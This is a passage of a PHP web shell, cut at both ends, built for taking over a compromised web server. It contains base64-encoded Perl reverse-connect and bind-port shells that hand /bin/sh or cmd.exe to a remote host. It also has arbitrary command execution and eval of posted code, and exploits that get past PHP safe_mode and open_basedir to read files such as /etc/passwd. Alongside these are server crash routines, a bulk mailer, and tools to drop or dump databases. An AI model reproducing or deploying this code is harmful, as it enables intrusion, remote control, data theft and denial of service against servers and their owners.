+KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog +IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4 +ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow=="; +$opbc=fopen("bcc.pl","w"); +fwrite($opbc,base64_decode($bcperl)); +fclose($opbc); +system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode"); +} +function wbp($wb){ +$wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj +cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j +a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu +ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs +IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl +IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO +VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT +VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g"; +$opwb=fopen("wbp.pl","w"); +fwrite($opwb,base64_decode($wbp)); +fclose($opwb); +echo getcwd(); +system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode"); +} +function lbp($wb){ +$lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv +YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg +U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF +VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO +QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw +dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7 +b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o +Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g"; +$oplb=fopen("lbp.pl","w"); +fwrite($oplb,base64_decode($lbp)); +fclose($oplb); +system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode"); +} + +if($_REQUEST['portbw']){ +wbp($_REQUEST['portbw']); + +}if($_REQUEST['portbl']){ +lbp($_REQUEST['portbl']); +} +if($_REQUEST['ipcb'] && $_REQUEST['portbc']){ +bcn($_REQUEST['ipcb'],$_REQUEST['portbc']); + +} + +if($_REQUEST['do']=="bc"){ +echo $head.$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Back Connect >>>>>><br>Ip Address : <input name=ipcb value=".$_SERVER['REMOTE_ADDR'] ."> Port : <input name=portbc value=5555><br><input type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Windows Bind Port >>>>>><br>Port : <input name=portbw value=5555><br><input type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Linux Bind Port >>>>>><br>Port : <input name=portbl value=5555><br><input type=submit value=Connect></form>".$end;exit; + +} +function copyf($file1,$file2,$filename){ +global $slash; +$fpc = fopen($file1, "rb"); +$source = ''; +while (!feof($fpc)) { +$source .= fread($fpc, 8192); +} +fclose($fpc); +$opt = fopen($file2.$slash.$filename, "w"); +fwrite($opt, $source); +fclose($opt); +} +if ($_REQUEST['copyname'] && $_REQUEST['cpyto']){ +if(is_writable($_REQUEST['cpyto'])){ +echo $_REQUEST['address']; +copyf($_REQUEST['address'].$slash.$_REQUEST['copyname'],$_REQUEST['cpyto'],$_REQUEST['copyname']); +}else{alert("Permission Denied !");}} +if($_REQUEST['cfilename']){ + +echo $head.$formp.$nowaddress.'<p align="center"><b>Create File</b><br><textarea rows="19" name="nf4cs" cols="87"></textarea><br><input value="'.$_REQUEST['cfilename'].'" name=nf4c size=50><br><input type=submit value=" Create "></form>'.$end;exit; +} + +if($_REQUEST['nf4c'] && $_REQUEST['nf4cs']){ +if($ofile4c=fopen($_REQUEST['nf4c'],"w")){ +fwrite($ofile4c,$_REQUEST['nf4cs']); +fclose($ofile4c); +alert("File Saved !");}else{alert("Permission Denied !");}} + +function sqlclienT(){ +global $t,$errorbox,$et,$hcwd; +if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){ +$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY']; +$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB']; +$_SESSION[server]=$_REQUEST['serveR'];$_SESSION[type]=$_REQUEST['typE'];$_SESSION[pass]=$_REQUEST['pasS'];$_SESSION[user]=$_REQUEST['useR']; + +} + +if (isset ($_GET[select_db])){ + $getdb=$_GET[select_db]; + $_SESSION[db]=$getdb; + $query="SHOW TABLES"; + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query); +} +elseif (isset ($_GET[select_tbl])){ + $tbl=$_GET[select_tbl]; + $_SESSION[tbl]=$tbl; + $query="SELECT * FROM `$tbl`"; + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query); +} +elseif (isset ($_GET[drop_db])){ + $getdb=$_GET[drop_db]; + $_SESSION[db]=$getdb; + $query="DROP DATABASE `$getdb`"; + querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'',$query); + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'','SHOW DATABASES'); +} +elseif (isset ($_GET[drop_tbl])){ + $getbl=$_GET[drop_tbl]; + $query="DROP TABLE `$getbl`"; + querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query); + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],'SHOW TABLES'); +} +elseif (isset ($_GET[drop_row])){ + $getrow=$_GET[drop_row]; + $getclm=$_GET[clm]; + $query="DELETE FROM `$_SESSION[tbl]` WHERE $getclm='$getrow'"; + $tbl=$_SESSION[tbl]; + querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query); + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],"SELECT * FROM `$tbl`"); +} +else + $res=querY($type,$server,$user,$pass,$db,$query); + +if($res){ +$res=htmlspecialchars($res); +$row=array (); +$title=explode('[+][+][+]',$res); +$trow=explode('[-][-][-]',$title[1]); +$row=explode('|+|+|+|+|+|',$title[0]); +$data=array(); +$field=$trow[count($trow)-2]; +if (strstr($trow[0],'Database')!='') + $obj='db'; +elseif (substr($trow[0],0,6)=='Tables') + $obj='tbl'; +else + $obj='row'; +$i=0; +foreach ($row as $a){ +if($a!='') +$data[$i++]=explode('|-|-|-|-|-|',$a); +} + +echo "<table border=1 bordercolor='#C6C6C6' cellpadding='2' bgcolor='EAEAEA' width='100%' style='border-collapse: collapse'><tr>"; +foreach ($trow as $ti) +echo "<td bgcolor='F2F2F2'>$ti</td>"; +echo "</tr>"; +$j=0; +while ($data[$j]){ + echo "<tr>"; + foreach ($data[$j++] as $dr){ + echo "<td>"; + if($obj!='row') echo "<a href='$_SERVER[PHP_SELF]?do=db&select_$obj=$dr'>"; + echo $dr; + if($obj!='row') echo "</a>"; + echo "</td>"; + } + echo "<td><a href='$_SERVER[PHP_SELF]?do=db&drop_$obj=$dr"; + if($obj=='row') + echo "&clm=$field"; + echo "'>Drop</a></td></tr>"; +} +echo "</table><br>"; + +} + + + + + +if(empty($_REQUEST['typE']))$_REQUEST['typE']=''; +echo "<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'><table border='1' width='400' style='border-collapse: collapse' id='table1' bordercolor='#C6C6C6' cellpadding='2'><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Connect to Database</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Type:</font></td><td width='250' bgcolor='#EAEAEA'><select name=typE><option valut=MySQL onClick='document.client.serveR.disabled = false;' "; +if ($_REQUEST['typE']=='MySQL')echo 'selected'; +echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' "; +if ($_REQUEST['typE']=='MSSQL')echo 'selected'; +echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' "; +if ($_REQUEST['typE']=='Oracle')echo 'selected'; +echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' "; +if ($_REQUEST['typE']=='PostgreSQL')echo 'selected'; +echo ">PostgreSQL</option><option valut=DB2 onClick='document.client.serveR.disabled = false;' "; +if ($_REQUEST['typE']=='DB2')echo 'selected'; +echo ">IBM DB2</option></select></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Server Address:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='"; +if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; +echo "' name=serveR size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Username:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text name=useR value='"; +if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root'; +echo "' size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Password:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='"; +if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123'; +echo "' name=pasS size=35></td></tr><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Submit a Query</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Name:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='"; +if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']); +echo "' name=dB size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Query:</font></td><td width='250' bgcolor='#EAEAEA'><textarea name=querY rows=5 cols=27>"; +if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES'; +echo "</textarea></td></tr><tr><td width='400' colspan='2' bgcolor='#EAEAEA'>$hcwd<input class=buttons type=submit value='Submit' style='float: right'></td></tr></table></form>$et</center>"; +} + + +function querY($type,$host,$user,$pass,$db='',$query){ +$res=''; +switch($type){ +case 'MySQL': +if(!function_exists('mysql_connect'))return 0; +$link=mysql_connect($host,$user,$pass); +if($link){ +if(!empty($db))mysql_select_db($db,$link); +$result=mysql_query($query,$link); +if ($result!=1){ +while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<mysql_num_fields($result);$i++) +$res.=mysql_field_name($result,$i).'[-][-][-]'; +} +mysql_close($link); +return $res; +} +break; +case 'MSSQL': +if(!function_exists('mssql_connect'))return 0; +$link=mssql_connect($host,$user,$pass); +if($link){ +if(!empty($db))mssql_select_db($db,$link); +$result=mssql_query($query,$link); +while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<mssql_num_fields($result);$i++) +$res.=mssql_field_name($result,$i).'[-][-][-]'; +mssql_close($link); +return $res; +} +break; +case 'Oracle': +if(!function_exists('ocilogon'))return 0; +$link=ocilogon($user,$pass,$db); +if($link){ +$stm=ociparse($link,$query); +ociexecute($stm,OCI_DEFAULT); +while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<oci_num_fields($stm);$i++) +$res.=oci_field_name($stm,$i).'[-][-][-]'; +return $res; +} +break; +case 'PostgreSQL': +if(!function_exists('pg_connect'))return 0; +$link=pg_connect("host=$host dbname=$db user=$user password=$pass"); +if($link){ +$result=pg_query($link,$query); +while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<pg_num_fields($result);$i++) +$res.=pg_field_name($result,$i).'[-][-][-]'; +pg_close($link); +return $res; +} +break; +case 'DB2': +if(!function_exists('db2_connect'))return 0; +$link=db2_connect($db,$user,$pass); +if($link){ +$result=db2_exec($link,$query); +while($data=db2_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<db2_num_fields($result);$i++) +$res.=db2_field_name($result,$i).'[-][-][-]'; +db2_close($link); +return $res; +} +break; +} +return 0; +} +function bywsym($file){ +if(!function_exists('symlink')){echo "Function Symlink Not Exist";} + +if(!is_writable(".")) + die("not writable directory"); +$level=0; +for($as=0;$as<$fakedep;$as++){ + if(!file_exists($fakedir)) + mkdir($fakedir); + chdir($fakedir); +} +while(1<$as--) chdir(".."); +$hardstyle = explode("/", $file); +for($a=0;$a<count($hardstyle);$a++){ + if(!empty($hardstyle[$a])){ + if(!file_exists($hardstyle[$a])) + mkdir($hardstyle[$a]); + chdir($hardstyle[$a]); + $as++; +}} +$as++; +while($as--) + chdir(".."); +@rmdir("fakesymlink"); +@unlink("fakesymlink"); +@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink"); +while(1) + if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break; + else $num++; +@unlink("fakesymlink"); +mkdir("fakesymlink"); +} +function bypcu($file){ +$level=0; + +if(!file_exists("file:")) + mkdir("file:"); +chdir("file:"); +$level++; + +$hardstyle = explode("/", $file); + +for($a=0;$a<count($hardstyle);$a++){ + if(!empty($hardstyle[$a])){ + if(!file_exists($hardstyle[$a])) + mkdir($hardstyle[$a]); + chdir($hardstyle[$a]); + $level++; + } +} + +while($level--) chdir(".."); + +$ch = curl_init(); + +curl_setopt($ch, CURLOPT_URL, "file:file:///".$file); + +echo '<FONT COLOR="RED"> <textarea rows="40" cols="120">'; + +if(FALSE==curl_exec($ch)) + die('>Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.'); + +echo ' </textarea> </FONT>'; + +curl_close($ch); +} +if ($_REQUEST['bypcu']){ +bypcu($_REQUEST['bypcu']); +} +if($_REQUEST['do']=="bypasscmd"){ +if($_POST['bycw']){ +echo $_POST['bycw']; +$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll'); + $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['bycw'].""); + $stdout = $exec->StdOut(); + $stcom = $stdout->ReadAll();} + +echo $head.'<p align="center"><textarea rows="13" name="showbsd" cols="77">';if($_POST['byws']){passthru("\\".$_POST['byws']);} echo $stcom.'</textarea><hr><center>Bypass Safe_Mode And Disable_Functions In Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'<input type=hidden value="bypasscmd" name=do>Command </font></td><td width="750"><input name=bycw size=50><input type=submit value ="eXecute"></form></td></tr></table>Bypass Safe_Mode Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Command </font></td><td width="750"><input name=byws size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypasscmd"></form></td></tr></table>'.$end;exit;; +} +if($_REQUEST['do']=="bypassdir"){ +if($_POST['byoc']){ +if(copy("compress.zlib://".$_POST['byoc'], getcwd()."/"."peji.txt")){ +$bopens="Bypass Succesfull Plz Read File Peji.txt In This Folder"; +}else{$bopens="Can Not Bypass This";} +} +if($_POST['byfc']){ +curl_init("file:///".$_POST['byfc']."\x00/../../../../../../../../../../../../".__FILE__); +$debfc=curl_exec($ch); +} +if($_POST['byetc']){ +for($bye=0;$bye<40000;$bye++){ +$sbep =$sbep. posix_getpwuid($bye); +}} +if($_POST['byfc9']){ +echo "not sucsfull"; +} +if($_REQUEST['bysyml']){ +$file=$_REQUEST['bysyml']; +bywsym($file); +} +echo $head.'<p align="center"><textarea rows="13" name="showbsd" cols="77">';if($_POST['byws']){passthru("\\".$_POST['byws']);}if(isset($sbep)){for($fbe=0;$fbe<count($sbep);$fbe++){echo $sbep[$fbe];}} if(isset($debfc)){} echo $bopens.'</textarea><hr><center>Bypass Safe_Mode And Open_basedir With Bug Copy(Zlib) Worked In 4.4.2 .. 5.1.2<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right">'.$formp.'<input type=hidden value="bypassdir" name=do><font face="Tahoma" style="font-size: 10pt; font-weight:700">Address File </font></td><td width="750"><input name=byoc size=50 ><input type=submit value ="read"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.4.2 and 5.1.4<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Address File </font></td><td width="750"><input name=byfc size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.X ... 5.2.9<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Address File </font></td><td width="750"><input name=byfc9 size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass /Etc/Passwd<br>'.$formp.'<input type=submit value ="Read Passwd"><input type=hidden name=byetc value="lol"><input type=hidden name=do value="bypassdir"></form><hr>Bypass With ini_restore'.$formp.'<input type=submit value ="Read File"><input name=rfili value="Pejijon" type=hidden><input type=hidden name=do value="bypassdir"></form><hr>Bypass With Symlink Worked In 5.x.x 5.2.11 With Bug Symlink<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'</font></td><td width="750"><input name=bysyml size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"><input name=rfili value="Pejijon" type=hidden></form></td></tr></table><hr>'.$formp.'Bypass Safe And Open_basedir With Bug Curl Worked In 4.x.x ... 5.2.9<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'</font></td><td width="750"><input name=bypcu size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"></form></td></tr></table>'.$end;exit;; + + + + +} +function printdrive(){ +global $slash; +foreach (range("A","Z") as $tempdrive) { +if (is_dir($tempdrive.":".$slash)){ +$adri=$tempdrive.":".$slash; +$drivea=$drivea.'<a href="?address='.$adri.'"><font size=1>'.$tempdrive.':'.$slash.' </a></font>'; +} +} +return $drivea; +} +if($_POST['nameren'] && $_POST['addressren']){ +if(is_writable($_REQUEST['addressren'])){ + +rename($_POST['addressren'],$_POST['nameren']);alert("Rename Successful !"); +}else{alert("Permission Denied !");} +} +if($_GET['do']=="delete"){ + +if ($_GET['type']=="dir"){ +if(is_writable($_REQUEST['address'])){ +$dir=$_GET['address'].$_GET['filename']; +deleteDirectory($dir); +alert("Deleted Successful !"); +}else{alert("Permission Denied !");} +}elseif($_GET['type']=="file"){ +if(is_writable($_GET['address'].$_GET['filename'])){ +unlink($_GET['address'].$_GET['filename']);alert("Deleted Successful !"); +}else{alert("Permission Denied !");} +} +} +if($_POST['fedit'] && $_POST['namefe']){ +if(is_writable($_REQUEST['address'])){ + + +$opensave=fopen($_POST['address'].$slash.$_POST['namefe'],"w"); +fwrite($opensave,html_entity_decode($_POST['fedit'])); +fclose($opensave);alert("File Saved Successful !"); +}else{alert("Permission Denied !");} +} +if ($_POST['evalsource']){ + +eval($_POST['evalsource']); +} +if($_GET['do']=="eval"){ +echo $head.$formp.$nowaddress.'<p align="center"><textarea rows="19" name="evalsource" cols="87"></textarea><br><input type=submit value=" eXecute "></form></p>'.$end;exit; +} +if($_GET['do']=="info"){ + +if(ini_get('register_globals')){ +$registerg="Enable"; +}else{ +$registerg="disable"; +} +if(extension_loaded('curl')){ +$curls="Enable"; +}else{ +$curls="disable"; +} +if(@function_exists('mysql_connect')){ +$db_on = "Mysql : On"; +}; +if(@function_exists('mssql_connect')){ +$db_on = "Mssql : On"; +}; +if(@function_exists('pg_connect')){ +$db_on = "PostgreSQL : On"; +};if(@function_exists('ocilogon')){ +$db_on = "Oracle : On"; +}; + +echo $head."<font face='Tahoma' size='2'>Operating System : ".php_uname()."<br>Server Name : ".$_SERVER['HTTP_HOST']."<br>Disable_Functions : ".$disablef."<br>Safe_Mode : ".$safe_modes."<br>Openbase_dir : ".ini_get('openbase_dir')."<br>Php Version : ".phpversion()."<br>Free Space : ".sizee(disk_free_space("/"))."<br>Total Space : ".sizee(disk_total_space("/"))."<br>Register_Globals : ".$registerg."<br>Curl : ".$curls."<br>Database ".$db_on."<br>Server Name : ".$_SERVER['HTTP_HOST']."<br>Admin Server : ".$_SERVER['SERVER_ADMIN'].$end; +exit; +} +if ($_GET['do']=="cmd"){ +echo $head.' +<form method=get action="'.$me.'"> +<p align="center"> +<textarea rows="19" name="S1" cols="87">'; +if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){ +echo $_GET['execmethod']($_GET['command']);} +if (strlen($_POST['command'])>1 && $_POST['execmethod']!="popen"){ +echo $_POST['execmethod']($_POST['command']);} + +if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){ +popen($_GET['command'],"r");} + +echo'</textarea></p><p align="center"> +<input type=hidden name="do" size="50" value="cmd"> <input type="text" name="command" size="50"><select name=execmethod> + <option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option><option value="popen">popen</option> +</select><input type="submit" value="eXecute"> +</p></form>'.$end;exit;} +if ($_GET['do']=="symlink"){ +echo $head.' +<form method=post action="'.$me.'"> +<p align="center"> +SymLink With PHP<br><input name=ad1syp size=50> TO <input value="'.getcwd().$slash."symlink.txt".'" name=ad2syp size=50><br><input type=submit value=SymLink!><hr><p align="center"></form> +<form method=post action="'.$me.'"><p align="center"> + +SymLink With OS : <br><input name=ad1syc size=50> TO <input value="'.getcwd().$slash."symlink.txt".'" name=ad2syc size=50><br><input type=submit value=SymLink!> +</p></form>'.$end;exit;} +if ($_POST['ad1syp'] && $_POST['ad2syp']){ +if (symlink($_POST['ad1syp'],$_POST['ad2syp'])){ +alert("Symlink Worked !"); +}else{ +alert("Symlink Not Worked !"); +}} +if ($_POST['ad1syc'] && $_POST['ad2syc']){ +if (system('ls -s '.$_POST['ad1syc']." ".$_POST['ad2syc'])){ +alert("Symlink Worked !"); +}else{alert("Symlink Not Worked !");} +} +if ($_GET['do']=="d0slocal"){ +echo $head.' +<p align="center">If You Click This Link This Server Crashed.<br>This Worked In Php 5.3.x : <a href="?dosthisserver=1" target="_blank"><font size=4>Dos This Server I Am Sure </font></a><br>This Worked In Php 4.x.x And 5.2.9 : <a href="?dosthisserver=2" target="_blank"><font size=4>Dos This Server I Am Sure </a>'.$end;exit;} +if ($_GET['dosthisserver']=="1"){ +function dosserver(){ +$junk=str_repeat("99999999999999999999999999999999999999999999999999",99999); +for($i=0;$i<2;){ +$buff=bcpow($junk, '3', 2); +$buff=null; +} +} +dosserver(); +} +if ($_GET['dosthisserver']=="2"){ +function cx(){cx();} + cx(); +} +if ($_GET['do']=="convert"){ +$hash=null; +if ($_GET['stringtoh'] && $_GET['hashtoh']=='md5'){ +$hash=md5($_GET['stringtoh']); +}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='sh1'){ +$hash=sha1($_GET['stringtoh']); +}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='crc32'){ +$hash=crc32($_GET['stringtoh']); +}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='b64e'){ +$hash=base64_encode($_GET['stringtoh']); +}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='b64d'){ +$hash=base64_decode($_GET['stringtoh']); +} +echo $head.' +<form method=get action="'.$me.'"> +<p align="center">Convert<br><input type=hidden name=do value=convert> +<input name=stringtoh size=58><select name=hashtoh> +<option value="md5">MD5</option> +<option value="crc32">CRC32</option> +<option value="sha1">SHA1</option> +<option value="b64e">Base64 Encode!</option> +<option value="b64d">Base64 Decode!</option> +<br><textarea cols=60 rows=18>'.$hash.'</textarea><br><input type=submit value="Convert"> + +</p></form>'.$end;exit;} +if ($_GET['do']=="dump"){ +echo $head.'<p align="center">'; +echo '<table border=1 width=400 style="border-collapse: collapse" bordercolor=#C6C6C6 cellpadding=2><tr><td width=400 colspan=2 bgcolor=#F2F2F2><p align=center><b><font face=Arial size=2 color=#433934>Backup Database</font></b></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>DB Type:</font></td><td width=250 bgcolor=#EAEAEA><form method=post action="'.$me.'"><select name=method><option value="gzip">Gzip</option><option value="sql">Sql</option> </select></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Server:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=server size=35></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Username:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=username size=35></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Password:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=password></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Data Base Name:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=dbname></td></tr><tr><td width=400 colspan=2 bgcolor=#EAEAEA><center><input type=submit value=" Dump! " ></td></tr></table></form></center></table>'.$end;exit;} +if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){ +$date = date("Y-m-d"); +$dbserver = $_POST['server']; +$dbuser = $_POST['username']; +$dbpass = $_POST['password']; +$dbname = $_POST['dbname']; +$file = "Dump-$dbname-$date"; +$method = $_POST['method']; +if ($method=='sql'){ +$file="Dump-$dbname-$date.sql"; +$fp=fopen($file,"w"); +}else{ +$file="Dump-$dbname-$date.sql.gz"; +$fp = gzopen($file,"w"); +} +function write($data) { +global $fp; +if ($_POST['method']=='sql'){ +fwrite($fp,$data); +}else{ +gzwrite($fp, $data); +}} +mysql_connect ($dbserver, $dbuser, $dbpass); +mysql_select_db($dbname); +$tables = mysql_query ("SHOW TABLES"); +while ($i = mysql_fetch_array($tables)) { + $i = $i['Tables_in_'.$dbname]; + $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i)); + write($create['Create Table'].";\n\n"); + $sql = mysql_query ("SELECT * FROM ".$i); + if (mysql_num_rows($sql)) { + while ($row = mysql_fetch_row($sql)) { + foreach ($row as $j => $k) { + $row[$j] = "'".mysql_escape_string($k)."'"; + } + write("INSERT INTO $i VALUES(".implode(",", $row).");\n"); + } + } +} +if ($method=='sql'){ +fclose ($fp); +}else{ +gzclose($fp);} +header("Content-Disposition: attachment; filename=" . $file); +header("Content-Type: application/download"); +header("Content-Length: " . filesize($file)); +flush(); + +$fp = fopen($file, "r"); +while (!feof($fp)) +{ + echo fread($fp, 65536); + flush(); +} +fclose($fp); +} + +if ($_GET['do']=="mail"){ +echo $head.' +<form method=post action="'.$me.'"> +<p align="center"> +Address : <input type="text" name="admail" size="50"><br><br>Subject : <input type="text" name="submail" size="50"><br><br><textarea cols=70 rows=18 name=textmail>Text</textarea><br><br>Number For Send : <input type="text" name="numail" size="5" value=1><input type=submit value=Send!></form>'.$end;exit;} +if ($_POST['admail'] && $_POST['submail'] ){ +for($mi=0;$mi<intval($_POST['numail']);$mi++){ +mail($_POST['admail'], $_POST['submail'], $_POST['textmail']);} +} +if($_GET['do']=="db"){ +echo $head;sqlclienT();echo $end; +exit; +} +if($_REQUEST['file2ch'] && 